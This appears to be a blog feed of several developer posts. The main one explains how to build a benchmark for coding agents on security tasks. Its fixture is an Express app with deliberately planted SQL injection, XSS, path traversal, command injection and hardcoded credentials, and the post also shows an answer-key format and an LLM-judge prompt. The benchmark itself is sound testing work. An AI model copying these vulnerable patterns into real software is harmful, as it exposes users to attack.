The intent: work takes ~100 ms; minDelay is 50 ms; elapsed > minDelay so the throttler should not add another 50 ms (total would drift toward ~150 ms). The upper bound (< 130) was trying to guard that. The lower bound (>= 100) still used wall-clock ms around the same flaky boundary.

Fix: run that slow work under the same fake clock and assert exactly how much virtual time passed. If the throttler incorrectly waited an extra 50 ms, you’d need advanceTimersByTimeAsync(150) to finish — or jest.now() would jump by 150 when you did advance.

// ✓ Correct — fake time must be 100ms total, not ~150ms
test('should not add extra delay if promise already took longer than minDelay', async () => {
  jest.useFakeTimers({ now: Date.now() })
  try {
    const throttler = new PromiseThrottler()
    throttler.configure(5, 50)

    const slowPromise = jest.fn().mockImplementation(
      () => new Promise((resolve) => setTimeout(() => resolve('result'), 100))
    )

    const startedAt = jest.now()
    const finished = throttler.throttle(slowPromise)

    await Promise.resolve()
    await jest.advanceTimersByTimeAsync(100)
    await finished

    expect(jest.now() - startedAt).toBe(100)
    expect(slowPromise).toHaveBeenCalledTimes(1)
  } finally {
    jest.useRealTimers()
  }
})

Here jest.now() is the fake clock’s idea of time. After a single 100 ms advance, the throttle promise should be done, and the clock should read 100 ms later — not 150.

Step 5: Best practices I’d enforce in code review

Don’t use Date.now() or performance.now() to unit-test timer behavior. Use fake timers, or spy on setTimeout and assert delay arguments and call counts, or extract a clock/sleep dependency and inject a test double.
Scope fake timers narrowly. try / finally with useRealTimers() per test (or per describe if every test in the block is timer-driven). Mixing fake and real timers in one file without resetting is a common source of “passes alone, fails in full suite.”
Flush microtasks before advanceTimersByTimeAsync. The pattern await Promise.resolve() (sometimes twice) is boring but reliable — without it, you race the scheduler.
When production uses Date.now() for elapsed work, your test’s wall-clock span is not the same variable. The implementation measures time inside processQueue around await promiseFunction(). Your test’s outer Date.now() includes queue setup, microtasks, and setImmediate churn. You’re not even asserting the same interval.
Relaxing >= 100 to >= 99 is a band-aid. It doesn’t fix the category error (wall clock vs. behavior), and it makes regressions easier to sneak in.

Things that surprised us

The first green fix didn’t kill CI. We only converted the “minimum delay” test. The “no extra delay” test still used real timers and the same >= 100 assertion. Same failure mode, different test name. If you fix one flaky timer test in a file, grep for Date.now(), performance.now(), and bare setTimeout expectations in the rest of the suite.

A “strict” fake-timer sequence of advance(minDelay - 1) then advance(1) is wrong if production schedules setTimeout(99). When elapsed is 1 ms, remainingDelay is 99. Advancing 99 ms already fires the timer — so asserting “not settled after 99 ms” fails. We used “advance 100 then await” for the fast-path test instead of over-fitting to a single internal delay value.

Node version skew made the flake feel like a platform bug. 20 and 24 passed; 22 failed. That’s a signal to distrust the test harness, not to bisect the Node changelog first. Timer and Date.now() coupling really is version- and load-sensitive.

Jest’s fake Date.now() and jest.now() move together when configured. That’s what makes jest.now() - startedAt === 100 a valid stand-in for “no extra 50 ms” in the slow-work scenario — the throttler’s internal Date.now()-based elapsed sees the same virtual timeline.

Where to take it from here

Inject a clock — ({ now, schedule }) passed into the throttler — so production and tests share one abstraction and you can unit-test without Jest timer mocks at all.
Property-style tests — generate random minDelay / work durations under fake time and assert invariants (never negative sleep, total virtual time within bounds).
Audit other packages — search your org for toBeGreaterThanOrEqual(10 and Date.now() in the same test; you’ll find more of these.
Document CI matrix policy — if you test multiple Node versions, timer tests are where you’ll feel the spread first; fake timers keep the matrix informative instead of noisy.

How to Build a Coding Agent Benchmark with Claude's Agent SDK

Sun, 29 Mar 2026 00:00:00 GMT

So you’re building with AI coding agents and you want to know: is Claude Opus actually better than Sonnet for this task? Does adding a security-specific MCP server improve results? How many tokens does it burn per run, and is that sustainable?

These are benchmarking questions, and “I ran it a few times and it seemed fine” doesn’t cut it. You need a systematic harness that runs the same tasks against different configurations, scores the results objectively, and records everything so you can compare across dimensions.

This post walks through building exactly that — a benchmarking framework for AI coding agents, specifically focused on security tasks (find and fix vulnerabilities). I’ll share the architecture decisions, the gotchas we hit, and the code you can adapt for your own domain.

Everything here is built on the Claude Agent SDK (@anthropic-ai/claude-agent-sdk), TypeScript, and Node 24.

What are we benchmarking, exactly?

The benchmark answers three questions for every agent run:

Question	Metric
Quality — did it do the right thing?	Score (precision, recall, F1)
Cost — how expensive was it?	Token counts (4 types), wall time
Behavior — how did it work?	Tool calls, files scanned, turns taken

We have two eval categories:

find-vulns: Give the agent a codebase with known vulnerabilities. Ask it to find them. Score it on how many it found vs. how many were real.
fix-vulns: Give the agent the same codebase. Ask it to fix everything. Score it by using another Claude model as a judge to verify the fixes.

You can swap in your own domain — “find bugs”, “add tests”, “implement a feature from a spec” — the framework is the same regardless.

The overall architecture

Before diving into code, here’s the full pipeline:

flowchart TD
    A(["pnpm run benchmark"]) --> B

    subgraph SETUP["① Setup"]
        B["Load tasks from\nevals/tasks/*.json"] --> C
        C["Load configs from\nevals/run-configs.json"] --> D
        D["Cartesian product:\ntasks × configs"]
    end

    D --> E

    subgraph RUN["② For each task × config pair"]
        E{fix-vulns?}
        E -->|yes| F["Copy fixture to\ntemp dir"]
        E -->|no| G["Use fixture dir\ndirectly"]
        F --> H
        G --> H
        H["Run agent via\nAgent SDK\n(runner.ts)"] --> I
        I["Collect metrics:\ntokens, turns, tools,\nfiles scanned"]
    end

    I --> J

    subgraph SCORE["③ Score"]
        J{category?}
        J -->|find-vulns| K["Parse FINDINGS_JSON\nfrom agent output\nCompute precision/recall/F1"]
        J -->|fix-vulns| L["Run Claude Haiku\nas judge on\nmodified files"]
    end

    K --> M
    L --> M

    subgraph REPORT["④ Report"]
        M["printResult()\nto console"] --> N
        N["Append to\nresults/*.jsonl"]
    end

The key insight is that a “run” is always one (task, config) pair. You get a matrix of results. Comparing Opus vs Sonnet on the same task is just two rows in that matrix.

Step 1: The fixtures — intentionally broken code

A fixture is a small codebase with known vulnerabilities. The agent is given this as its working directory.

Here’s our Express.js fixture (fixtures/js-vulns/app.js):

const express = require("express");
const { exec } = require("child_process");
const fs = require("fs");

const DB_CONFIG = {
  host: "localhost",
  user: "admin",
  password: "supersecretpassword123",  // hardcoded credentials
  database: "users_db",
};

app.get("/users", (req, res) => {
  const username = req.query.username;
  const sql = "SELECT * FROM users WHERE username = '" + username + "'";  // SQL injection
  const results = dbQuery(sql);
  res.json(results);
});

app.get("/greet", (req, res) => {
  const name = req.query.name;
  res.send(`<html><body><h1>Hello, ${name}!</h1></body></html>`);  // XSS
});

app.get("/file", (req, res) => {
  const filename = req.query.filename;
  const basePath = "/var/app/public/";
  fs.readFile(basePath + filename, "utf8", (err, data) => {  // path traversal
    res.send(data);
  });
});

app.get("/ping", (req, res) => {
  const host = req.query.host;
  exec("ping -c 1 " + host, (err, stdout) => {  // command injection
    res.send(`<pre>${stdout}</pre>`);
  });
});

Five vulnerabilities. Simple enough to be quick to run, complex enough to be non-trivial.

Critical lesson: strip all comments that reveal the vulnerabilities. In early development we had // VULN: SQL injection style comments all over the code. The agent just reads these and reports them back — not a real test at all. The fixture should look like real production code written by a developer who didn’t notice the issues.

The ground-truth file lives outside the fixture directory

This one will bite you if you’re not careful.

We store the answer key as fixtures/js-vulns.json — a sibling to the fixture directory, not inside it:

fixtures/
  js-vulns.json       ← ground truth (agent never sees this)
  js-vulns/           ← agent's working directory
    app.js

If you put vulns.json inside js-vulns/, the agent will just Read it and report whatever’s in it. Perfect score, zero signal. The answer key must be out of reach.

{
  "description": "Intentionally vulnerable Express.js app",
  "vulnerabilities": [
    {
      "id": "js-sqli-1",
      "type": "sql-injection",
      "severity": "critical",
      "file": "app.js",
      "line": 24,
      "description": "User input directly concatenated into SQL query string"
    },
    ...
  ]
}

Step 2: The type system — knowing what you’re measuring

Before writing any agent code, define your data model. This forces clarity on what a “task”, a “config”, and a “result” actually are.

// A specific eval scenario: which fixture, which category, what prompt
export interface EvalTask {
  id: string;
  name: string;
  category: EvalCategory;        // "find-vulns" | "fix-vulns"
  fixture: string;               // path to fixture directory
  systemPrompt?: string;
  prompt: string;
  knownVulns: Vulnerability[];   // loaded from fixtures/<name>.json
  maxTurns?: number;
}

// A model + tool configuration to test
export interface RunConfig {
  id: string;
  name: string;
  model: string;                 // e.g. "claude-opus-4-6"
  mcpServers?: Record<string, MCPServerConfig>;
  maxTurns?: number;
}

// Everything collected during one agent session
export interface BenchmarkMetrics {
  sessionDurationMs: number;
  totalInputTokens: number;
  totalOutputTokens: number;
  totalCacheReadTokens: number;        // prompt cache reads (billed at ~10% rate)
  totalCacheCreationTokens: number;    // prompt cache writes (billed at ~125% rate)
  totalTurns: number;                  // unique API calls (after dedup — more on this)
  toolCalls: ToolCallRecord[];
  toolStats: Record<string, ToolStat>;
  filesScanned: string[];              // unique files touched by Read/Write/Edit
}

The separation of EvalTask and RunConfig is deliberate. Tasks define what to test; configs define who is doing the test. The benchmark is the cartesian product of both.

Step 3: Open/closed task and config loading

You want to add a new fixture or a new model configuration without touching source code. The classic open/closed principle.

Tasks live in evals/tasks/*.json:

{
  "id": "js-find-vulns",
  "name": "JS App: Find Vulnerabilities",
  "category": "find-vulns",
  "fixture": "js-vulns",
  "maxTurns": 20
}

Configs live in evals/run-configs.json:

[
  {
    "id": "opus-4-6",
    "name": "Claude Opus 4.6 (no MCP)",
    "model": "claude-opus-4-6",
    "maxTurns": 30
  },
  {
    "id": "sonnet-4-6",
    "name": "Claude Sonnet 4.6 (no MCP)",
    "model": "claude-sonnet-4-6",
    "maxTurns": 30
  }
]

The loader scans both directories at startup and wires everything together:

// src/evals/loader.ts
const FIXTURES_DIR = resolve(PROJECT_ROOT, "fixtures");
const TASKS_DIR = resolve(PROJECT_ROOT, "evals/tasks");

export function loadEvalTasks(): EvalTask[] {
  const files = readdirSync(TASKS_DIR).filter(f => f.endsWith(".json")).sort();

  return files.map(file => {
    const taskJson = JSON.parse(readFileSync(join(TASKS_DIR, file), "utf-8"));
    const { id, name, category: categoryId, fixture, maxTurns } = taskJson;

    const category = resolveCategory(categoryId);
    const knownVulns = loadVulns(fixture);        // reads fixtures/<fixture>.json
    const fixturePath = resolve(FIXTURES_DIR, fixture);

    return { id, name, category, fixture: fixturePath, knownVulns, maxTurns,
             systemPrompt: category.defaultSystemPrompt,
             prompt: category.defaultPrompt };
  });
}

function loadVulns(fixtureName: string): Vulnerability[] {
  // Note the path: sibling to fixture dir, not inside it
  const vulnsPath = join(FIXTURES_DIR, `${fixtureName}.json`);
  const raw = JSON.parse(readFileSync(vulnsPath, "utf-8"));
  return raw.vulnerabilities;
}

To add a new fixture: create fixtures/ruby-vulns/app.rb, create fixtures/ruby-vulns.json with the ground truth, drop evals/tasks/ruby-find-vulns.json. Done — no code changes.

Step 4: The runner — orchestrating the agent

This is the core of the benchmark. The runner uses the Claude Agent SDK to spin up a Claude Code subprocess, point it at the fixture directory, and collect metrics while it works.

import { query, type HookCallback } from "@anthropic-ai/claude-agent-sdk";

export async function runTask(task: EvalTask, config: RunConfig, cwd: string): Promise<RunOutput> {
  const toolCalls: ToolCallRecord[] = [];
  const toolStartTimes = new Map<string, number>();
  const filesScannedSet = new Set<string>();

  // PreToolUse: stamp start time for each tool call
  const preToolHook: HookCallback = async (input) => {
    const id = (input as any).tool_use_id ?? String(Date.now());
    toolStartTimes.set(id, Date.now());
    return {};
  };

  // PostToolUse: record duration, estimate tokens, track files touched
  const postToolHook: HookCallback = async (input) => {
    const id = (input as any).tool_use_id ?? "";
    const tool = (input as any).tool_name ?? "unknown";
    const startTime = toolStartTimes.get(id) ?? Date.now();
    const inputTokensEst = estimateTokens((input as any).tool_input);
    const outputTokensEst = estimateTokens((input as any).tool_response ?? (input as any).tool_result);

    toolCalls.push({ tool, durationMs: Date.now() - startTime, inputTokensEst, outputTokensEst });

    if (tool === "Read" || tool === "Write" || tool === "Edit") {
      const filePath = (input as any).tool_input?.file_path;
      if (filePath) filesScannedSet.add(filePath);
    }
    toolStartTimes.delete(id);
    return {};
  };

  for await (const message of query({
    prompt: task.prompt,
    options: {
      cwd,
      model: config.model,
      maxTurns: task.maxTurns ?? config.maxTurns ?? 30,
      allowedTools: [
        "Read", "Glob", "Grep", "Bash", "Write", "Edit",
        ...Object.keys(config.mcpServers ?? {}).map(name => `mcp__${name}__*`),
      ],
      permissionMode: "bypassPermissions",
      systemPrompt: task.systemPrompt,
      sandbox: {
        filesystem: {
          allowWrite: [cwd],          // agent can only write inside fixture dir
          denyRead: [dirname(cwd)],   // agent cannot read parent dir (where answer key lives)
        },
      },
      hooks: {
        PreToolUse:  [{ matcher: ".*", hooks: [preToolHook] }],
        PostToolUse: [{ matcher: ".*", hooks: [postToolHook] }],
      },
    },
  })) {
    // ... accumulate tokens (with a crucial caveat, see below)
  }
}

function estimateTokens(value: unknown): number {
  if (value == null) return 0;
  return Math.ceil(JSON.stringify(value).length / 4);
}

A few things worth unpacking here.

Sandboxing the agent

By default, Claude Code can read and write anywhere on the filesystem. For a benchmark this is a problem: the agent might stumble on the answer key (the fixtures/js-vulns.json file that lives one directory up from its working directory) and read it.

The sandbox.filesystem option closes this:

allowWrite: [cwd] — writes are whitelisted to the fixture dir only
denyRead: [dirname(cwd)] — reading the parent directory (which contains the answer key) is blocked

Without this, the agent can cheat and your scores are meaningless.

MCP tools need explicit allow-listing

If your RunConfig includes MCP servers, their tools won’t work unless you explicitly allow them. The allowedTools array is the complete whitelist — everything else is blocked.

The pattern mcp__<server-name>__* grants all tools from a server. We auto-derive it from config.mcpServers keys so adding a new server in the JSON config is enough:

...Object.keys(config.mcpServers ?? {}).map(name => `mcp__${name}__*`)

Step 5: Getting token counts right (there are gotchas)

This took some debugging to get right. Let me save you the pain.

Bug 1: Reading usage from the wrong message

The Agent SDK’s query() iterator yields several message types. The ResultMessage at the end has a usage field — but it only contains the cost of that final tiny “done” turn, not the session total. If you read from there, you’ll get something like in: 7, out: 3 for a 50-turn session. Completely wrong.

The correct approach: accumulate from every AssistantMessage:

// ✗ Wrong — ResultMessage.usage is just the final turn, not cumulative
if ("result" in message) {
  totalInputTokens = message.usage.input_tokens; // overwrites all accumulated data!
}

// ✓ Correct — accumulate from every assistant turn
if (message.type === "assistant") {
  const usage = (message as any).message?.usage;  // note: .message.usage, not .usage
  if (usage) {
    totalInputTokens += usage.input_tokens ?? 0;
    totalOutputTokens += usage.output_tokens ?? 0;
    totalCacheReadTokens += usage.cache_read_input_tokens ?? 0;
    totalCacheCreationTokens += usage.cache_creation_input_tokens ?? 0;
  }
}

Also note: usage is at message.message.usage, not message.usage. The SDK wraps the raw API response in a .message property.

Bug 2: The SDK fires multiple events per API call

This one is subtle. The Agent SDK emits one SDKAssistantMessage event per content block in an API response — not one per API call.

If Claude returns a response with both a thinking block and a tool_use block, the SDK fires two events, each carrying the same usage object:

API response:  content=[thinking, tool_use]  usage={in:3, out:54, cr:9845}

SDK emits:
  SDKAssistantMessage #1  content=[thinking]  usage={in:3, out:54, cr:9845}
  SDKAssistantMessage #2  content=[tool_use]  usage={in:3, out:54, cr:9845}

If you naively accumulate usage.output_tokens on every event, those 54 tokens get counted twice. The API billed you once; you counted twice.

The fix: track the last-seen usage fingerprint per session level, only accumulate when it changes.

const lastUsagePerSession = new Map<string | null, string>();

if (message.type === "assistant") {
  const usage = (message as any).message?.usage;
  if (usage) {
    // parent_tool_use_id identifies which session level this message belongs to
    // (null = root session, non-null = sub-agent session)
    const sessionKey: string | null = (message as any).parent_tool_use_id ?? null;
    const usageKey = `${usage.input_tokens}:${usage.output_tokens}:${usage.cache_read_input_tokens}:${usage.cache_creation_input_tokens}`;

    if (lastUsagePerSession.get(sessionKey) !== usageKey) {
      lastUsagePerSession.set(sessionKey, usageKey);
      totalTurns++;
      totalInputTokens += usage.input_tokens ?? 0;
      // ... etc
    }
  }
}

The parent_tool_use_id field also handles sub-agent sessions. When Claude uses the built-in Agent tool to spawn a nested sub-agent, that sub-session’s messages stream through the same iterator but with parent_tool_use_id set. We want to count their tokens (real API cost) but deduplicate correctly within each session level.

Understanding the four token fields

The Anthropic API reports four token types. They have different billing rates and mean different things:

Turn 1: system prompt + user message
  input_tokens:                 3    ← new non-cached tokens (full input rate)
  cache_creation_input_tokens:  2521 ← written to cache (~125% of input rate)
  cache_read_input_tokens:      7324 ← served from cache (~10% of input rate)
  output_tokens:                8    ← Claude's generated tokens (output rate)

Turn 2: tool results added
  input_tokens:                 1    ← almost nothing new (everything else cached)
  cache_creation_input_tokens:  3557 ← new tool results get cached
  cache_read_input_tokens:      9845 ← growing cache serves prior context
  output_tokens:                46

The input_tokens field is only the new non-cached tokens per turn. With prompt caching active (which happens automatically when the prefix is >1,024 tokens), almost all context is served from cache — so input_tokens might be 1–3 tokens per turn while cache_read_input_tokens grows to hundreds of thousands.

The total shown in the report (Tokens: N total) adds all four fields. This is “total context consumed”, not cost — because cache reads bill at 10% and cache writes at 125%, the actual dollar cost requires weighting each field by its rate.

Step 6: Scoring

find-vulns: structured output + matching

The system prompt tells the agent to end its response with a JSON block:

FINDINGS_JSON:
```json
[
  {
    "type": "sql-injection",
    "file": "app.js",
    "line": 24,
    "severity": "critical",
    "description": "User input concatenated into SQL query"
  }
]
```

The scorer parses this and matches against the ground truth by vulnerability type:

export function scoreFindVulns(agentOutput: string, task: EvalTask): FindVulnsDetails {
  const agentFindings = parseFindings(agentOutput);
  const knownVulns = task.knownVulns;

  const truePositives: string[] = [];
  const matchedKnownIds = new Set<string>();

  for (const found of agentFindings) {
    // Match by type — normalize aliases ("SQL Injection" → "sql-injection")
    const match = knownVulns.find(
      kv => !matchedKnownIds.has(kv.id) && vulnTypesMatch(kv.type, found.type)
    );
    if (match) {
      truePositives.push(match.id);
      matchedKnownIds.add(match.id);
    }
  }

  const falsePositives = agentFindings.length - truePositives.length;
  const falseNegatives = knownVulns.filter(kv => !matchedKnownIds.has(kv.id)).map(kv => kv.id);
  const precision = agentFindings.length === 0 ? 0 : truePositives.length / agentFindings.length;
  const recall = knownVulns.length === 0 ? 1 : truePositives.length / knownVulns.length;

  return { agentFindings, truePositives, falsePositives, falseNegatives, precision, recall };
}

// F1: harmonic mean of precision and recall
export function findVulnsScore(details: FindVulnsDetails): number {
  const { precision, recall } = details;
  if (precision + recall === 0) return 0;
  return (2 * precision * recall) / (precision + recall);
}

Why F1? Precision alone rewards being conservative (report nothing, zero false positives, but terrible recall). Recall alone rewards crying wolf (report everything, 100% recall, but terrible precision). F1 penalizes both and gives you a single headline number.

The type normalization is important — models use different aliases for the same vulnerability class. We maintain a map:

const map: Record<string, VulnType> = {
  "sql injection": "sql-injection",
  "cross-site scripting": "xss",
  "directory traversal": "path-traversal",
  "rce": "command-injection",
  "hardcoded secret": "hardcoded-credentials",
  // ...
};

fix-vulns: LLM-as-judge

For fix-vulns, the agent modifies files — there’s no structured output to parse. Instead, after the agent run, we read the modified fixture and ask Claude Haiku to judge whether each vulnerability was fixed:

export async function scoreFixVulns(fixedDir: string, task: EvalTask): Promise<FixVulnsDetails> {
  const files = gatherSourceFiles(fixedDir);
  const codeContext = files
    .map(({ path, content }) => `### ${path}\n\`\`\`\n${content}\n\`\`\``)
    .join("\n\n");

  const vulnList = task.knownVulns
    .map(v => `- ${v.id}: ${v.type} in ${v.file} — ${v.description}`)
    .join("\n");

  const response = await anthropic.messages.create({
    model: "claude-haiku-4-5",
    max_tokens: 1024,
    messages: [{
      role: "user",
      content: `You are a security code reviewer. The following code has been modified to fix vulnerabilities.

Original vulnerabilities:
${vulnList}

Modified code:
${codeContext}

For each vulnerability, determine if it has been fixed. Respond with JSON:
{ "results": [{ "id": "vuln-id", "fixed": true/false, "note": "brief explanation" }] }`
    }],
  });

  // parse results, count fixes
  const fixedCount = results.filter(r => r.fixed).length;
  return {
    vulnsAttempted: task.knownVulns.length,
    vulnsFixed: fixedCount,
    judgeNotes: results.map(r => `${r.id}: ${r.fixed ? "✓" : "✗"} ${r.note}`).join("; "),
  };
}

We use Haiku for the judge because it’s cheap and fast — the judge call is overhead on top of the actual agent run. For fix-vulns, the score is simply vulnsFixed / vulnsAttempted.

The fix-vulns runner always works on a temp copy of the fixture so the originals are never modified:

if (task.category.id === "fix-vulns") {
  cwd = join(TMP_DIR, `${task.id}-${config.id}-${Date.now()}`);
  mkdirSync(cwd, { recursive: true });
  cpSync(task.fixture, cwd, { recursive: true });
  cleanupTmp = true;
}

Step 7: The reporter

The output for a single run looks like this:

──────────────────────────────────────────────────────────────────────
Task:    JS App: Find Vulnerabilities
Config:  Claude Sonnet 4.6 (no MCP)
Score (F1): 91%
Tokens:  74,757 total  (in: 271, out: 134  cache-read: 65,172, cache-write: 9,180)
Time:    55.2s  |  Turns: 5  |  Files: 11

Recall:    100%  (5/5 known vulns found)
Precision: 83%   (1 false positives)
Missed:    none

All tools:  (12 calls across 2 tool types)
  Read: 11x, avg 6ms, ~242 in / ~2,558 out tokens (est)
  Bash: 1x, avg 595ms, ~35 in / ~2,219 out tokens (est)

Note the Score (F1): label — for find-vulns, the score is an F1; for fix-vulns, it’s a fix rate. Making this explicit in the label avoids confusion when reading results.

The summary table at the end compares all runs side by side:

══════════════════════════════════════════════════════════════════════
BENCHMARK SUMMARY
══════════════════════════════════════════════════════════════════════
Task             Config      Score  Tokens   Time(s)
───────────────  ──────────  ─────  ───────  ───────
js-find-vulns    opus-4-6    91%    183,221  45.2
js-find-vulns    sonnet-4-6  83%    74,757   55.2
python-find-vulns opus-4-6   85%    201,400  52.1
python-find-vulns sonnet-4-6 78%    91,223   61.3

Each run is also appended to a JSONL file (results/benchmark-<timestamp>.jsonl) for post-hoc analysis:

# Which config had the best recall?
jq 'select(.details.recall != null) | {config: .runConfigId, recall: .details.recall}' results/*.jsonl

# Total cost across all runs (rough)
jq '.metrics | (.totalInputTokens * 3 + .totalOutputTokens * 15 + .totalCacheReadTokens * 0.3 + .totalCacheCreationTokens * 3.75) / 1000000' results/*.jsonl

Step 8: Putting it all together — the CLI

The entry point wires everything up:

async function main() {
  const opts = parseArgs();        // --task, --config, --category, --dry-run
  const tasks = loadEvalTasks();
  const configs = loadRunConfigs();

  // Filter based on CLI flags
  const filteredTasks = tasks
    .filter(t => !opts.task || t.id === opts.task)
    .filter(t => !opts.category || t.category.id === opts.category);
  const filteredConfigs = configs
    .filter(c => !opts.config || c.id === opts.config);

  // Print the plan
  console.log(`Benchmark: ${filteredTasks.length} task(s) × ${filteredConfigs.length} config(s) = ${filteredTasks.length * filteredConfigs.length} run(s)`);
  for (const task of filteredTasks) {
    console.log(`  ${task.id}  [${task.category.id}]`);
    for (const config of filteredConfigs) {
      console.log(`    └─ ${config.id}: ${config.model}`);
    }
  }

  if (opts.dryRun) { console.log("\nDry run — exiting."); return; }

  // Run the matrix
  const results: EvalResult[] = [];
  for (const config of filteredConfigs) {
    for (const task of filteredTasks) {
      const result = await runEval(task, config);
      printResult(result);
      results.push(result);
    }
  }

  printSummaryTable(results);
  const path = saveResults(results, RESULTS_DIR);
  console.log(`\nResults saved to: ${path}`);
}

The package.json scripts make it easy to run slices of the benchmark:

{
  "scripts": {
    "benchmark": "tsx src/index.ts",
    "benchmark:find": "tsx src/index.ts --category find-vulns",
    "benchmark:fix": "tsx src/index.ts --category fix-vulns",
    "benchmark:find:js": "tsx src/index.ts --task js-find-vulns --config sonnet-4-6"
  }
}

The metrics that matter

Here’s a quick reference for everything the benchmark measures:

Quality (find-vulns)

Metric	What it tells you
Recall	Did the agent miss anything? 100% = found every real vuln
Precision	Did it cry wolf? 100% = every finding was a real vuln
F1 Score	Balances both — the headline number for comparison
False positives	How noisy is the agent?
False negatives	Which specific vulns did it miss?

Quality (fix-vulns)

Metric	What it tells you
Vulns fixed / attempted	Simple fix rate
Judge notes	Per-vulnerability verdict with brief explanation

Session cost & behavior

Metric	What it tells you
Wall time	How long did the whole session take?
Turns	How many API calls? (after dedup — see above)
Files scanned	How much of the codebase did it explore?
in / out tokens	New non-cached input and generated output
cache-read tokens	Repeated context served cheaply from cache
cache-write tokens	New content being cached for future turns
Tool calls / types	What tools, how many times, how fast
Per-tool token estimates	Which tools consume the most context?

Things that surprised us

Prompt caching dominates the token counts. In a 5-turn session, we saw in: 271, out: 134, cache-read: 65,172. The session consumed 65,172 tokens total but only 405 were “new” — the rest were cached. This is expected behavior, but it means “total tokens” is not a simple cost proxy.

The Agent SDK fires multiple events per API response. This wasn’t documented anywhere we could find. A single API call that returns [thinking, tool_use] fires two SDKAssistantMessage events with identical usage. If you don’t deduplicate, every metric is inflated by 2–6×.

Answer key isolation matters more than you think. We tested with the vulns.json inside the fixture directory before catching this. Claude immediately reads every JSON file in its working directory as part of its initial exploration. It doesn’t know the file is supposed to be the answer key — it just reads whatever’s there.

Comments in fixture code completely invalidate results. Having // VULN: SQL injection in your code is the same as handing the agent the answer sheet. The fixture should read like real code written by a developer who didn’t notice the issues.

F1 is the right headline metric, but watch the components. An agent can score 56% F1 with 100% recall and 38% precision — it found everything but hallucinated 8 extra vulnerabilities. A different agent might score 56% F1 with 56% recall and 56% precision — it found about half and was accurate. Same F1, very different behavior. Always look at recall and precision separately.

Where to take it from here

This framework is intentionally minimal — it does one thing well. Some directions worth exploring:

More fixture types. We have JavaScript and Python. Ruby, Go, Java, PHP are all easy additions. The loader picks up new tasks automatically from the JSON files.

MCP server comparison. The RunConfig supports MCP servers natively. Add a config with a security-focused MCP server (Snyk, Semgrep, etc.) and compare its F1 against the baseline. That’s one JSON entry.

Replace the Agent SDK with a direct API loop. The current runner depends on the Claude Code CLI being installed. An alternative is to build the agentic loop directly against @anthropic-ai/sdk: call messages.create() in a loop, implement tools (Read, Glob, Grep, Bash, Write, Edit) as local functions, feed results back as tool_result blocks. No CLI dependency, full control over every hook and metric. The main unknowns are whether MCP server support is available without the CLI and how to replicate the per-tool timing hooks.

Scoring variants. The current find-vulns scorer matches by vulnerability type only. You could add file-level matching (bonus points for finding the right file), severity weighting (critical vulns count more), or partial credit for finding a related but not exact type.

The full source is organized like this:

src/
  types.ts          # All interfaces — start here
  runner.ts         # Agent SDK wrapper + metrics collection
  scorer.ts         # Precision/recall/F1 and LLM judge
  reporter.ts       # Console output + JSONL
  evals/
    loader.ts       # Scans evals/tasks/*.json + evals/run-configs.json
  index.ts          # CLI entry point

evals/
  tasks/            # One JSON per eval task — add here to add a task
  run-configs.json  # Array of RunConfig objects

fixtures/
  js-vulns.json     # Ground truth (outside agent cwd!)
  js-vulns/         # Agent's working directory
    app.js

Happy benchmarking.

Agentic Growthhacking Tactics with Bots and AI

Sat, 28 Mar 2026 00:00:00 GMT

In this blog post, I explore and provide evidence of agentic growthhacking tactics using bots and AI, as well as strategies for sourcing user pain points on social media platforms.

Agentic Growthhacking Tactics with Bots and AI

In this X post, the Browser Use team shared how they are using Clawdbot (an agentic bot framework) to automate growth-hacking, score leads, and alert their sales team:

I told Clawdbot to run this every hour:
– fetch the newest people who starred our GitHub
– enrich their profile using Browser Use sub-agents
– score fit (0–10) for sales and hiring
– if >8 → send a Slack alert and reach out via Gmail MCP or LinkedIn

Michael Feldstein from Cursor IDE, engages directly with users on X to source pain points and paper cuts they experience while using the product:

Tools for Self-Published Authors

Sat, 22 Nov 2025 00:00:00 GMT

Writing is a lot of fun and a great way to express yourself, share knowledge, and turn into a better teacher. It’s not easy, and takes a huge investment and dedication to put written content together at high quality but if you’re reading this, you’re probably enjoying it.

So, how do we make it easier to write and publish content?

In this article I am curating a list of resources, tools, and services that make it easier to write and publish content. I am not affiliated with any of these myself unless I’ve strictly written so, and I am not getting paid to promote them.

Assisted writing

English is not my first language, and I am not a native speaker. If you’re in the same boat then you can easily relate to the difficulty in putting sentences together.

The following is a list of tools that can help you with writing, phrasing and grammar review and suggestions.

Grammarly probably needs no introduction. It’s a pretty popular tool that helps with anything from writing emails to blog posts. It’s also a great tool for improving your writing and making it easier to read, especially if you’re not a native speaker.
Hemingway is a tool that helps you write better by highlighting difficult-to-read sentences and common errors. It’s a great tool for improving your writing and making it easier to read.

Colors and Branding

If you want to apply specific branding colors to your content, it’s a good idea to use a tool that can help you with figuring out a color palette that works well together.

Here are those that I found very useful and am using myself for my own books:

Color Thief - A tool that extracts the dominant color or a representative color palette from an image.
Coolors - A super fast color schemes generator.
Tints.dev - A tool that helps you generate a color palette based on a single color, and aims at TailwindCSS users.
UI Colors - A tool that helps you generate a color palette based on a single color and provides a CSS snippet for you to use with the TailwindCSS framework.

Publishing content

Once you’ve got your content written, you need to publish it. Publishing content means essentially that you need to convert raw text content into a published format. This can be an online HTML version of a book, or a digital book such as a PDF or ePub.

The following are tools that can help you with creating a published format of your raw content into a distributed format, such as a PDF or ePub.

Magic author

Courses creation and hosting

Mirio
scrimba
Lighthall - Fun, live interactive classes with teachers.

Pre‑Signed URL Upload Architecture (Cloudflare R2 + Hono Workers)

Wed, 15 Oct 2025 00:00:00 GMT

This write-up describes a reference architecture for secure, direct browser uploads and downloads to Cloudflare R2 using time‑limited pre‑signed URLs generated by a Hono application on Cloudflare Workers. It covers flows, contracts, security decisions, and pitfalls.

Components

Hono API (Cloudflare Workers)
- Authentication: Better Auth
- Database: Postgres via Drizzle ORM
- Storage: Cloudflare R2 (S3‑compatible)
Frontend SPA (Nuxt)
- Performs direct PUT uploads and GET downloads via pre‑signed URLs

Environment and Bindings

Worker binds the bucket as env.GALLERY (bucket name: gallery).
Secrets required: CLOUDFLARE_ACCOUNT_ID, R2_ACCESS_KEY_ID, R2_SECRET_ACCESS_KEY.
R2 signing uses the npm package aws4fetch (Workers‑compatible fetch + SubtleCrypto).

Data Model (Profile Images)

The primary use-case is user profile images with the following considerations:

Each user can have at most one profile image.
Profile image URLs are stable (no UUID per upload).
Uploads overwrite the existing image (if any).
user.image stores the object key (stable, no extension) in the gallery bucket.
First assignment persists a random UUID (no extension). Subsequent uploads overwrite the same object to avoid object sprawl.

CORS Policy (R2)

R2 requires explicit header names (wildcards are unreliable). Example rule:

{
  "rules": [
    {
      "allowed": {
